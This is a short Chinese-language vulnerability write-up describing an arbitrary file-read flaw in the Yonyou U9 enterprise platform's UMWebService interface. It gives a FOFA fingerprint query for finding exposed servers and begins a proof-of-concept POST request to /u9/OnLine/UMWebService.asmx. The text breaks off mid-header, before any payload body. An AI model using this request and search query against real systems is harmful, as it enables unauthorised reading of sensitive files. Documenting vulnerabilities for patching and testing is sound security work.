用友-U9-UMWebService-文件读取

产品简介

用友U9秉承互联网基因，是全球第一个款基于SOA云架构的多组织企业互联网应用平台。U9以精细化管理、产业链协同与社交化商业，帮助多组织企业（多事业部/多地点/多工厂/多法人）在互联网时代实现商业模式创新、组织变革与管理升级。

漏洞概述

用友U9多组织企业互联网应用平台UMWebService接口存在文件读取漏洞。攻击者可以通过发送特定的请求，利用该漏洞获取系统敏感文件。

复现环境

fofa

body="logo-u9.png" 

漏洞复现

Poc

POST /u9/OnLine/UMWebService.asmx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36
Connection: close
Content-L